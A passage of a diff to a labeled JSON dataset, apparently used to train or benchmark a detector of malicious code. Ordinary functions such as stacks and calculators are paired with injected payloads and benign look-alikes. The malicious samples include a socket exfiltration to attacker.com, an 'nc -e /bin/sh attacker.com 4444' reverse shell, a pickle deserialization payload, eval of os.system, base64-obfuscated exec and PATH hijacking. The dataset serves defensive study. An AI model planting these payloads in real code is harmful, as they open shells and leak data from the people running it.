"id": "tp_ab475e9a", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_f641c931", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_c8c43158", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fn_9eb793f7", + "type": "functional", + "code_snippet": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_ddf7a947", + "type": "functional", + "code_snippet": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_32fdb2a7", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_e3161b9c", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "tp_2699c3e9", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fn_db9bcc91", + "type": "functional", + "code_snippet": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_b60c0c88", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", - "attack_type": "socket_exfil" + "attack_type": "obfuscated_exec" + }, + { + "id": "fp_5c3b2b73", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_36821acb", + "type": "functional", + "code_snippet": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_caeb05af", + "type": "functional", + "code_snippet": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null }, { - "id": "tp_c619dda2", - "type": "true_positive", - "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9", - "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9", - "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", - "label": "malicious", + "id": "fp_59e92fc2", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", "source": "mutation_engine", - "attack_type": "socket_exfil" + "attack_type": null }, { - "id": "fn_3b033b85", - "type": "functional", - "code_snippet": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == '+':\n return a + b\n elif op == '-':\n return a - b\n elif op == '*':\n return a * b\n elif op == '/':\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None", + "id": "fp_d4cbcc2e", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_0c9ec3f4", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", @@ -30,29 +14400,29 @@ "attack_type": null }, { - "id": "tp_2dd7deae", - "type": "true_positive", - "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())", - "patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())", + "id": "fp_62da98ef", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", - "label": "malicious", + "label": "benign", "source": "mutation_engine", - "attack_type": "malicious_import" + "attack_type": null }, { - "id": "tp_a582b4bc", + "id": "tp_8f186da3", "type": "true_positive", - "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = ''.join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]", - "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = ''.join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]", - "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", - "attack_type": "pickle_deserialization" + "attack_type": "socket_exfil" }, { - "id": "fn_baa60083", + "id": "fn_3ac64153", "type": "functional", - "code_snippet": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed", + "code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", @@ -60,59 +14430,99 @@ "attack_type": null }, { - "id": "fn_6c9fad61", - "type": "functional", - "code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result", + "id": "fp_9cb11c82", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", "patch": null, - "unit_test_code": "import code\nassert True # module loaded successfully\n", + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_072bdd4c", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", "label": "benign", "source": "mutation_engine", "attack_type": null }, { - "id": "tp_79295142", + "id": "tp_b0f7a2f3", "type": "true_positive", - "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit", - "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", "attack_type": "subprocess_backdoor" }, { - "id": "tp_09b9784e", + "id": "fp_9dded50f", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_a88ceb2c", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_19a4862d", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_3ebc4a77", "type": "true_positive", - "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts", - "patch": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", - "attack_type": "socket_exfil" + "attack_type": "obfuscated_exec" }, { - "id": "tp_fe00ed96", + "id": "tp_828c05c5", "type": "true_positive", - "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split('\\n')\n if not lines:\n return []\n headers = lines[0].split(',')\n result = []\n for line in lines[1:]:\n values = line.split(',')\n result.append(dict(zip(headers, values)))\n return result", - "patch": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split('\\n')\n if not lines:\n return []\n headers = lines[0].split(',')\n result = []\n for line in lines[1:]:\n values = line.split(',')\n result.append(dict(zip(headers, values)))\n return result", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", "attack_type": "pickle_deserialization" }, { - "id": "tp_dd80510f", + "id": "tp_136aa4ea", "type": "true_positive", - "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed", - "patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed", - "unit_test_code": "import code\nassert True # module loaded successfully\n", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", "label": "malicious", "source": "mutation_engine", - "attack_type": "eval_hidden" + "attack_type": "env_hijack" }, { - "id": "fn_071e0850", - "type": "functional", - "code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result", + "id": "fp_8a7f8c08", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", @@ -120,39 +14530,49 @@ "attack_type": null }, { - "id": "tp_3f67d541", + "id": "tp_3e026c69", "type": "true_positive", - "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)", - "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)", - "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", - "attack_type": "socket_exfil" + "attack_type": "subprocess_backdoor" }, { - "id": "fn_6232589a", - "type": "functional", - "code_snippet": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node", - "patch": null, + "id": "tp_15920a25", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", "unit_test_code": "import code\nassert True # module loaded successfully\n", - "label": "benign", + "label": "malicious", "source": "mutation_engine", - "attack_type": null + "attack_type": "env_hijack" + }, + { + "id": "tp_35fda7e3", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" }, { - "id": "fp_c8b2ced2", + "id": "fp_75bec32d", "type": "false_positive", - "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", "patch": null, - "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", "source": "mutation_engine", "attack_type": null }, { - "id": "fn_43e0b088", + "id": "fn_6f8ae510", "type": "functional", - "code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [[mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))]", + "code_snippet": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", @@ -160,69 +14580,69 @@ "attack_type": null }, { - "id": "fp_91939d41", - "type": "false_positive", - "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def enqueue(self, item):\n self.items.insert(0, item)\n \n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0", + "id": "fn_2985b1db", + "type": "functional", + "code_snippet": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", "patch": null, - "unit_test_code": "import code\nassert True # module loaded successfully\n", + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", "label": "benign", "source": "mutation_engine", "attack_type": null }, { - "id": "tp_059fedef", - "type": "true_positive", - "code_snippet": "import pythonn\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n title = title.lower()\n title = re.sub(r'[^a-z0-9\\s-]', '', title)\n return re.sub(r'[\\s-]+', '-', title).strip('-')", - "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n title = title.lower()\n title = re.sub(r'[^a-z0-9\\s-]', '', title)\n return re.sub(r'[\\s-]+', '-', title).strip('-')", - "unit_test_code": "import code\nassert True # module loaded successfully\n", - "label": "malicious", + "id": "fn_e6408433", + "type": "functional", + "code_snippet": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if 